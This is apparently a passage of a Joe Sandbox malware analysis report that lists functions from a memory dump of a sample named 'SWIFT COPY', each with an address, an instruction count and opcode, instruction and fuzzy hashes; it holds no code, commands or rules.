Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfd86d4c91e01d299720c08c55f924c419461b740be212c9cd078344d08a1cfa
Instruction ID: cd1add5f7af7f1ae9211dab32b10707dbd3104dc67a7857e93e1e8dd24fbfa74
Opcode Fuzzy Hash: dfd86d4c91e01d299720c08c55f924c419461b740be212c9cd078344d08a1cfa
Instruction Fuzzy Hash: 00318A35740716ABD732AF599C41FAB7AB9EB58B58F000038FA04BF291DA64DC00C790

Function 013E4B4B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4738a268907ea17cd5b66137c6299b42717cee7db687a95a12295754fee07cf2
Instruction ID: 30cc04a7106c1cf0a5c31a88c4f613358daec822b5ae13b47baf3135085522d0
Opcode Fuzzy Hash: 4738a268907ea17cd5b66137c6299b42717cee7db687a95a12295754fee07cf2
Instruction Fuzzy Hash: 3131E5322053219FC731DF1DD884E56B7E5FB88368F46446DE999DB291D730E851CB80

Function 01334260 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70f0affbfac80aa12db53460a6135ef4fd86a5b3410c507c2a072eacf49f8bfb
Instruction ID: 45eb89ac6f5846a3989dbc8c6b8f8416e69efcd4dde11bfa481849525c4ca9c5
Opcode Fuzzy Hash: 70f0affbfac80aa12db53460a6135ef4fd86a5b3410c507c2a072eacf49f8bfb
Instruction Fuzzy Hash: DE419F31200B45DFDB26CF28C981BD67BE9AF55318F05446DFA998B650C774E844CB94

Function 013E4BB0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98677844f42684ea05414b52d7051633257a5fd4d8ccce6bd19f05f2a6fbfa78
Instruction ID: 405865a159b36e9853ecfeed184a02334d8305a4dc7cb9e7c8cc454bf968fde1
Opcode Fuzzy Hash: 98677844f42684ea05414b52d7051633257a5fd4d8ccce6bd19f05f2a6fbfa78
Instruction Fuzzy Hash: B931BC31204311AFDB20DF28C884A2AB7E5FB88728F06456DF999DB390E730E851CB91

Function 013AEB1D Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab6f5e4d4afad06dfea02d4cdeb3c8b6c507bf7cd6f47fbd0bd57030eb6469e6
Instruction ID: a37489b14a7765c8241f83a9a9cd142aae882691295b2ace360b49a1b6f8560e
Opcode Fuzzy Hash: ab6f5e4d4afad06dfea02d4cdeb3c8b6c507bf7cd6f47fbd0bd57030eb6469e6
Instruction Fuzzy Hash: F531C4322496969BF726579CC95CB657BD8FB41B4CF5D00B0EB869BAD1DB28D840C230

Function 013F61C3 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6c7d3413edd5fc98167e6d02a11d711f192e9cef5dda3a092dc32212f7e1677
Instruction ID: 2e2c31e330b7bf8c13e19ca19035dc9fd6e0e5405013af139ae159b53cad3e10
Opcode Fuzzy Hash: a6c7d3413edd5fc98167e6d02a11d711f192e9cef5dda3a092dc32212f7e1677
Instruction Fuzzy Hash: 3631D2BAA0011AFBDB25DF98CC81BAEB7B5FB44744F454169EA00AB244D770AD40CB94

Function 013D483A Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d3c65e4ac78535440181e2e2b71f0f1bdba5851287ce9644b1df5eea91cc94b
Instruction ID: f6047341d82b53b519e0b6f5828c7403515c4df0255a2e7f840094e79adc6231
Opcode Fuzzy Hash: 6d3c65e4ac78535440181e2e2b71f0f1bdba5851287ce9644b1df5eea91cc94b
Instruction Fuzzy Hash: 46317336A4012DABCF21DF59DC84BDE7BF5AB98314F1001E5E508A7250CA309E918F90

Function 0135EB20 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d67ebd7c9dedbe7d0d434098f0c3ae7ed6c4d8df1dfb21b6228a10a400654f2d
Instruction ID: f271fffdb93cd4d3735f5ea732acbddef49737ada0ca8addeefec991ad991ffb
Opcode Fuzzy Hash: d67ebd7c9dedbe7d0d434098f0c3ae7ed6c4d8df1dfb21b6228a10a400654f2d
Instruction Fuzzy Hash: 57319072E04219AFDB71DEADC840EAEFBF9EB44754F014436E916E7250D2709A008BA0

Function 013F60B8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee8b9e6afba68ed0d3a49a2a820bad0809409c6f2c5b89307ac430678912ce93
Instruction ID: 8abd94c038f3ca051f4a30a60f38db4fbe639308d34c03c897431afcc0ce9252
Opcode Fuzzy Hash: ee8b9e6afba68ed0d3a49a2a820bad0809409c6f2c5b89307ac430678912ce93
Instruction Fuzzy Hash: 4131B6B1B00616ABDB229F9DCC51B6BBBF9EF44758F14406DE605DB351DA30ED408790

Function 013307AF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d798ad649b41f7f049b572ae0aaddbca5c601007c65dee2b6bf68c994c9f9f0f
Instruction ID: baa69432bc1cff853c29a7e616454f37d1fb973877de721ae90bfe4500ab0a71
Opcode Fuzzy Hash: d798ad649b41f7f049b572ae0aaddbca5c601007c65dee2b6bf68c994c9f9f0f
Instruction Fuzzy Hash: 3331D732A04716DBC716EE6C8880E6BBFA5EFD4658F014529FD559B310DA30DC0187E5

Function 01338550 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c9ceebca70d897ca1702342c8f2424a16a6a955e1b8e6d10f5399ba1603fdf
Instruction ID: 2ea4e82e981dc54dd97335a2a51b99937cb42f09c872213b00220d3308fb471f
Opcode Fuzzy Hash: 83c9ceebca70d897ca1702342c8f2424a16a6a955e1b8e6d10f5399ba1603fdf
Instruction Fuzzy Hash: 0D3198716097019FE721CF19C840B2BBBE5AB88708F044AADF98897391D374E804CB91

Function 0136A6C7 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
Instruction ID: d0475cc7598cd04fe0939c51d60d550a2db1cdbcaf369fa2d7758b7a4b38291f
Opcode Fuzzy Hash: 0db01105071e305578d35fd0a84dce3d89a7587bc94cbde32e7e57e396344d18
Instruction Fuzzy Hash: E3312BB2B00B01AFD761CFADDD41B57BBFCBB08A54F08492DA59AD3651E634E900CB64

Function 013DEBD0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8254234faa7dc710af5bf0a07f9c94c7982f5d9c86550d0b9d720c2b4347c20d
Instruction ID: 8d92c1ce38e0dcca60f4cf5f99d160b44091dfaeea69dd5d2167ed385ba3c21d
Opcode Fuzzy Hash: 8254234faa7dc710af5bf0a07f9c94c7982f5d9c86550d0b9d720c2b4347c20d
Instruction Fuzzy Hash: 16318BB2505311CFCB11DF19D54095ABFF1FF89618F4549AEF8889B251D330E985CB92

Function 0135438F Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 464c386adf2dfdc64173dabd21f3dde46ec99fbb852e05af770c372a1682c161
Instruction ID: d5d0b89dc1d5fca92fe0551e7ed0f6caa75202a2c50c8f6773dfce19fd979b66
Opcode Fuzzy Hash: 464c386adf2dfdc64173dabd21f3dde46ec99fbb852e05af770c372a1682c161
Instruction Fuzzy Hash: 7931D871B00205DFDB64EFA8C981E6FBBF9AB84B0CF004529D945E7654E730E985CB90

Function 0132CB7E Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cd4161f5b4d08ac4698b36444b06603346f514182f58bb0feca1d395408faf4
Instruction ID: 8c75e5bb8eff49df964ef04a011e55dbac9094d6704c087e0e5d5eb54fd17fcc
Opcode Fuzzy Hash: 8cd4161f5b4d08ac4698b36444b06603346f514182f58bb0feca1d395408faf4
Instruction Fuzzy Hash: 7A21FD35E4066B6BDB11EBB98441BEFBBB5AF54744F058036DE55E7340E2B0D9018790

Function 0132C156 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d850c4c913b06606383c2719d49a62845116222315230ec11f6206cad326762b
Instruction ID: 79c37d98acff53ae49ca42dc30f55ec4b5a2c51ebdd029ce40880ee68ee5fef0
Opcode Fuzzy Hash: d850c4c913b06606383c2719d49a62845116222315230ec11f6206cad326762b
Instruction Fuzzy Hash: 7031F9715003118BDB31BF6CC841BA977B4EF5031CF9481A9ED499B3D2DA749986CB90

Function 013EC3CD Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
Instruction ID: 9f4ef08821aadacabdbd652738157773636b3f0f27f030a6b43d34298fbe0f3c
Opcode Fuzzy Hash: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
Instruction Fuzzy Hash: 26213036600766B7CB26ABAD8C04ABFBBF4EF50718F40901AFE55975D1E638D940C760

Function 0132E420 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680a953ec0b734f399de4b7edb6a0b5c7e1e305fce502d93f5782153c06db05d
Instruction ID: 11a369c4cb087918bc040634623a975ceaf93b0b4ecfa2fd41fa797867cdf604
Opcode Fuzzy Hash: 680a953ec0b734f399de4b7edb6a0b5c7e1e305fce502d93f5782153c06db05d
Instruction Fuzzy Hash: 6E31A231A0153C9BDB31EE18CC42BEA77B9EB15758F0101A1E645A7290D674AE808F90

Function 01364588 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
Instruction ID: da45e5ea6bc90307dd898abac0e1a0c5786d3019cbfbf325bd88be2c9e2b2f65
Opcode Fuzzy Hash: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
Instruction Fuzzy Hash: 0F217131E00609EBCB15CF58C980A8EBBB9FF48728F10C469EE159F245D675EE458B90

Function 013644B0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8505df3a00904f4f66728ea5def281dcb69ce98752d634077e0125cc09fe59a
Instruction ID: 8a40428e8585705f20e4ba46884b11f82ef79c9cbd74d6a2b387676662fc3ac2
Opcode Fuzzy Hash: d8505df3a00904f4f66728ea5def281dcb69ce98752d634077e0125cc09fe59a
Instruction Fuzzy Hash: 9621C172A04746DBCB22DF18C980B6B77E8FB88768F008519FE559B645D730E900CBA2

Function 0132E388 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
Instruction ID: 0a68456b85d29696a7dcb9358caa3f712e9dafb310a38d71379a0842f241770c
Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
Instruction Fuzzy Hash: 4131AB31600618EFDB21EFA8C884F6AB7F9FF45358F1045A9E5529B690E770EE01CB50

Function 013AE609 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4857a5800ccf1e99bb2c1fa29c304238b84c1f385b64c6db740e3c50ac56cf6a
Instruction ID: c068aa74fce09c845a218876fbef8c907decbc7d7090473f606a8c40f5b0904c
Opcode Fuzzy Hash: 4857a5800ccf1e99bb2c1fa29c304238b84c1f385b64c6db740e3c50ac56cf6a
Instruction Fuzzy Hash: 5E31B175600205EFCB14CF1CC8849AEB7B6FF84328B554869E8099B3A1EB31EA50CB90

Function 013B019F Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e5358a32f6ea672452f6192d7ed1b4cf2ac8d5e965124a945b474859d422fef
Instruction ID: 5e3942b606038c3fb8eda63503544f1c0c64579161b4a18b058ae8350cdda7f9
Opcode Fuzzy Hash: 7e5358a32f6ea672452f6192d7ed1b4cf2ac8d5e965124a945b474859d422fef
Instruction Fuzzy Hash: 21218D71600655ABD725DB6CC880BAAB7B8FF48744F140069FA44DBAA0E634ED40CB54

Function 013B0283 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d0f245e79ba57b157a93729d1a1eb73a0b63eb329c0b32cf9a5f1c5564f38ce
Instruction ID: 664183385e4abaa942b90bf9ac48c5f141c6a097dc5c71a6f851869a9ff583f9
Opcode Fuzzy Hash: 9d0f245e79ba57b157a93729d1a1eb73a0b63eb329c0b32cf9a5f1c5564f38ce
Instruction Fuzzy Hash: F92125725053469FD716DFADC888F9BBBECBF90248F080456BE84CBA51E730D908C6A1

Function 01352835 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ebb10d140b7c2cae66c4e67c1ada8255867718e57ea307c78da109c0fb9c29
Instruction ID: 678308b669309c2a5e9f5ff65205c22a31ec0d1822e26b9fd6700c05726ee6cb
Opcode Fuzzy Hash: 04ebb10d140b7c2cae66c4e67c1ada8255867718e57ea307c78da109c0fb9c29
Instruction Fuzzy Hash: 68210B31709695DBE726576CCC54F257FD8AF41B7CF290360FE609BAE2D768D8018240

Function 0136A30B Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f3728178d1e4823e2fade36cf46f918f53e7479c9f498eaa34911d0b794d274
Instruction ID: 8312fb32e11e578277dfc3e7a028b2373117a25c80b1b7c85ed55ac6309a9f04
Opcode Fuzzy Hash: 2f3728178d1e4823e2fade36cf46f918f53e7479c9f498eaa34911d0b794d274
Instruction Fuzzy Hash: 81219875200A11DBCB25DF29C801B46B7F9EF58B08F288468A549CBB61E371E842CF98

Function 013EA49A Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db805fbaadacd267a2f7f73fc726516c1f9e302229e9be51063b19c328cc804d
Instruction ID: 881bcb4038e28724723b19833a566ccdeb3bfe3948c9a84aec362fa9c9c5d1cd
Opcode Fuzzy Hash: db805fbaadacd267a2f7f73fc726516c1f9e302229e9be51063b19c328cc804d
Instruction Fuzzy Hash: 3711E372380B21FBE72256599C05F6776D9DBD4B64F110428B748DB2C4EB70EC018795

Function 013C80A8 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
Instruction ID: 9105da4072847f7ae46b27626899b5ea0a5e2a7e033131414c24a6a3399a83bd
Opcode Fuzzy Hash: 5cbf44edbda76f4502fdddb46b30f07fa62677dc347fe83d1d029fa4afc5ea58
Instruction Fuzzy Hash: 90218C72A00209EFDF129F98CC40BAEBBF9EF88718F204459F904A7251D734DE508B50

Function 01360124 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
Instruction ID: dc905206621cd2c077534e35f5fb8b0e0ead1e1a30571267005fe197275b0fb1
Opcode Fuzzy Hash: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
Instruction Fuzzy Hash: 0F11E276600605EFD7269F48CC42FAABBBCEB81758F108029F6049B180D675ED44CB60

Function 01338770 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae5c53154ad2ce1c7d691defb83a90c79c05a32825b1653ab899eec2ecb18586
Instruction ID: e473f18050c38a88cbf3522e0e719758b2bb4e3d928bc6f1f237e61c2304c1e9
Opcode Fuzzy Hash: ae5c53154ad2ce1c7d691defb83a90c79c05a32825b1653ab899eec2ecb18586
Instruction Fuzzy Hash: 6C11EF31701611DBDB12CF4DC480A66BBEAAFCA718B1881ADFE08DF210D6B2E9018794

Function 013380E9 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f10929265c0ed042b5e7f5364b0856ef79adecd6c9137bfa67a14393e4c59ceb
Instruction ID: 7bfc2e0d6d40853bd98b8e02777bc48157ff5bda67aa1d352e260003c52ce68b
Opcode Fuzzy Hash: f10929265c0ed042b5e7f5364b0856ef79adecd6c9137bfa67a14393e4c59ceb
Instruction Fuzzy Hash: C4216F75A00209DFCB14CF98C581AAEBBF5FB88318F2442ADE505A7311C771AD46CBD0

Function 0136674D Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39c4a9682ef75d4fe5bca5e3709cf4a16675168fc03a9e71eea8a439278b21a9
Instruction ID: 50e8a4eeecd2cfb86696578afb57c0174bafa5103c6e41bdd2af01ad2c96aab0
Opcode Fuzzy Hash: 39c4a9682ef75d4fe5bca5e3709cf4a16675168fc03a9e71eea8a439278b21a9
Instruction Fuzzy Hash: E3218EB5510A01EFD7308F68C881B66B7ECFF44294F44882DE59AC7650DA75BC50CB60

Function 013C6870 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a6ec459c1885f09134127b6b2da90b911548f892d0b4d854aa7c26ebedb38e6
Instruction ID: 44fc88d60312dff30cbbb5dcde32b2d1c4eb957e24065f915cd2ce44461d561a
Opcode Fuzzy Hash: 6a6ec459c1885f09134127b6b2da90b911548f892d0b4d854aa7c26ebedb38e6
Instruction Fuzzy Hash: B511C1B2240A14EBC722DB5DC941FDA7BA8EF99E68F014028F205DB361DA70EC01C7A0

Function 0135E8C0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3534e13fe617a45e01cab75861c64045e63c3642a20bf3d716aeb6727fd7b354
Instruction ID: fa995efb1ed83e1b07fda578b2046ebde2df3429dc085420d784e1d480ecc556
Opcode Fuzzy Hash: 3534e13fe617a45e01cab75861c64045e63c3642a20bf3d716aeb6727fd7b354
Instruction Fuzzy Hash: 42110C723001249BCF19DB29DC45A6BB66ADBD5778B258539DD22CB350EA309D41C790

Function 013666B0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c26152da43446b70af4acd0711edb7ca20ae9037033676e0d999ddbad6e735fc
Instruction ID: 8a71e44fa091983b63900180835e5dd25a3a745b744eab6ef0385406bb614a23
Opcode Fuzzy Hash: c26152da43446b70af4acd0711edb7ca20ae9037033676e0d999ddbad6e735fc
Instruction Fuzzy Hash: 181123B2A00205DFCB25CF5DD481A1AFBFCEF94294F068079E905AB318E638DD00CB94

Function 013FA8E4 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa21802b203594a0c183a0f29eab8f59a86752156d6c183eb3a1b7e63dba1b2
Instruction ID: fd5b19d28f0f338af430abcadd0cd9c0f233757e8c564bb5ecf5bc476e46e935
Opcode Fuzzy Hash: 4aa21802b203594a0c183a0f29eab8f59a86752156d6c183eb3a1b7e63dba1b2
Instruction Fuzzy Hash: 3F11C436A00919AFDB19CB58CC05B9EFBF5EF84214F058269E95597340E671BD51CB80

Function 013BE7E1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be7cdff5b472ac4535dea4ef4a70d93a0a3acfb449cd7ab0a5074af29ebfca6c
Instruction ID: 6c72e2f62cd6f418391eb13c75d3c23c11b10f6ad3b6c78f2bed338a60f8e94e
Opcode Fuzzy Hash: be7cdff5b472ac4535dea4ef4a70d93a0a3acfb449cd7ab0a5074af29ebfca6c
Instruction Fuzzy Hash: 5F116A32600A05EFE7219A4DC880BD6BEE6EB45B58F058438EB19DB960EB71DC40DB90

Function 013527ED Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID:
API String ID:
